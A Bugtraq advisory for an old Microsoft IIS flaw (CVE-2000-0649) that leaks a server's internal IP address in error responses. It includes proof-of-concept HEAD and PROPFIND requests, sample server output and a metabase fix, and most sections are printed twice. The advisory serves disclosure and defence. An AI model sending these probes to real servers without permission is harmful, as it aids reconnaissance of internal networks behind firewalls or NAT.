Microsoft IIS Internal IP Address Disclosure Vulnerability
BID:1499
Info
Microsoft IIS Internal IP Address Disclosure Vulnerability
| Bugtraq ID: | 1499 |
| Class: | Design Error |
| CVE: |
CVE-2000-0649 |
| Remote: | Yes |
| Local: | No |
| Published: | Jul 13 2000 12:00AM |
| Updated: | Jul 11 2009 02:56AM |
| Credit: | Posted to NTBugtraq on July 13, 2000 by Dougal Campbell <[email protected]>. |
| Vulnerable: |
Microsoft IIS 5.1 Microsoft IIS 5.0 Microsoft IIS 4.0 alpha Microsoft IIS 4.0 Microsoft IIS 3.0 Microsoft IIS 2.0 |
| Not Vulnerable: | |
Discussion
Microsoft IIS Internal IP Address Disclosure Vulnerability
When a remote user attempts to access an area protected by basic authentication with no realm defined, while specifying HTTP 1.0, Microsoft IIS will return an Access Denied error message containing the internal IP address of the host. Even if IIS is behind a firewall or NAT, it will disclose the true internal IP address to the remote user.
The internal IP address may also be revealed through a HTTP request made with an empty host name. If a PROPFIND HTTP request is made, the message returned will include the IP address as part of the HREF header. The IP address may also be exposed through the WRITE or MKCOL methods, although they would not normally be exposed to the external network.
Eg.
telnet target 80
Trying target...
Connected to target.
Escape character is '^]'.
HEAD /directory HTTP/1.0[CRLF]
[CRLF]
HTTP/1.1 401 Access Denied
WWW-Authenticate: Basic realm="<Internal IP Address>"
Content-Length: 644
Content-Type: text/html
When a remote user attempts to access an area protected by basic authentication with no realm defined, while specifying HTTP 1.0, Microsoft IIS will return an Access Denied error message containing the internal IP address of the host. Even if IIS is behind a firewall or NAT, it will disclose the true internal IP address to the remote user.
The internal IP address may also be revealed through a HTTP request made with an empty host name. If a PROPFIND HTTP request is made, the message returned will include the IP address as part of the HREF header. The IP address may also be exposed through the WRITE or MKCOL methods, although they would not normally be exposed to the external network.
Eg.
telnet target 80
Trying target...
Connected to target.
Escape character is '^]'.
HEAD /directory HTTP/1.0[CRLF]
[CRLF]
HTTP/1.1 401 Access Denied
WWW-Authenticate: Basic realm="<Internal IP Address>"
Content-Length: 644
Content-Type: text/html
Exploit / POC
Microsoft IIS Internal IP Address Disclosure Vulnerability
HEAD /directory HTTP/1.0[CRLF]
[CRLF]
or
PROPFIND / HTTP/1.1
Host:
Content-Length: 0
HEAD /directory HTTP/1.0[CRLF]
[CRLF]
or
PROPFIND / HTTP/1.1
Host:
Content-Length: 0
Solution / Fix
Microsoft IIS Internal IP Address Disclosure Vulnerability
Solution:
This behaviour can be altered by changing the w3svc/UseHostName value in the metabase from False to True. Detailed instructions can be found in the Microsoft knowlege base at:
http://support.microsoft.com/support/kb/articles/Q218/1/80.ASP
Solution:
This behaviour can be altered by changing the w3svc/UseHostName value in the metabase from False to True. Detailed instructions can be found in the Microsoft knowlege base at:
http://support.microsoft.com/support/kb/articles/Q218/1/80.ASP
References
Microsoft IIS Internal IP Address Disclosure Vulnerability
References:
References:
- IIS4 Basic authentication realm issue (Dougal Campbell
) - Q218180: IIS Returns IP Address in HTTP Header (Content-Location) (Microsoft)